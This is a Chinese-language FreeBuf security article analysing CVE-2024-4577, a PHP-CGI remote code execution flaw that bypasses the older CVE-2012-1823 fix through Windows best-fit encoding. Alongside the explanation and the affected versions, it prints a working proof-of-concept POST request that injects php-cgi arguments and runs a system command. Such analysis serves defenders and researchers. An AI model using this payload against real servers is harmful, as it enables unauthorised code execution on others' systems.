freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

实战-最新PHP-RCE+详细分析(CVE-2024-4577)
2024-07-12 16:48:05

前言

最新PHP-RCE详细分析(CVE-2024-4577)
是一种对CVE-2012-1823的一种绕过

前身

最新的php rce是建立在CVE-2012-1823基础上的一次编码绕过,而CVE-2012-1823的成因简单来说就是在CGI模式下,用户请求的querystring被作为了php-cgi的参数传递给php-cgi.exe成功解析执行,造成RCE。
php-cgi.exe接收的参数
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
-s查看元件源码

1720772226299.png

攻击过程

urlcode编码中%3D为=,%3A为:

-d allow_url_include=on

控制允许在include、include_once、require、require_once等函数中使用URL作为文件名,可以远程url加载执行php代码

-d auto_prepend_file=php://input

php://input流通常用于读取POST数据,而-d auto_prepend_file则指定了包含的php脚本为POST输入
所以使用以下payload就使得能够允许文件包含,而文件包含是读入的POST数据流作为脚本.
poc如下:
POST /index.php?-d+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input HTTP/1.1
Host: xxxxx.com
Content-Length: 25

<?php system("whoami");?>

1720772279451.png

后面官方修补的补丁中也就是把”-”这个字符给匹配过滤了
而最新版的RCE之所以只会影响繁体中文、简体中文、日文这三个语言版本的windows系统,
就是因为有大神找到了-的编码绕过方式,在我们带入参数拼接前宽字节会被转换,0x00ad显然不是一个完整的字节,而是一部分字节。
而在中文GBK编码中正好可以找到一个-来对其进行%ad编码从而绕过

1720772306340.png
1720772319185.png

实战截图

1720772346886.png

总结

1.具有简体中文、繁体中文、日文的Windows系统,支持bestfit936 GBK编码
2. 开发是在CGI(单PHP)环境中,利用条件很苛刻
3.PHP局限在一定的版本

提醒

phpstudy集成中没漏洞版本。
漏洞版本:
        PHP 8.3 < 8.3.8
        PHP 8.2 < 8.2.20
        PHP 8.1 < 8.1.29
# 渗透测试 # 网络安全 # 攻防演练 # 红队攻防 # 攻防实战
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录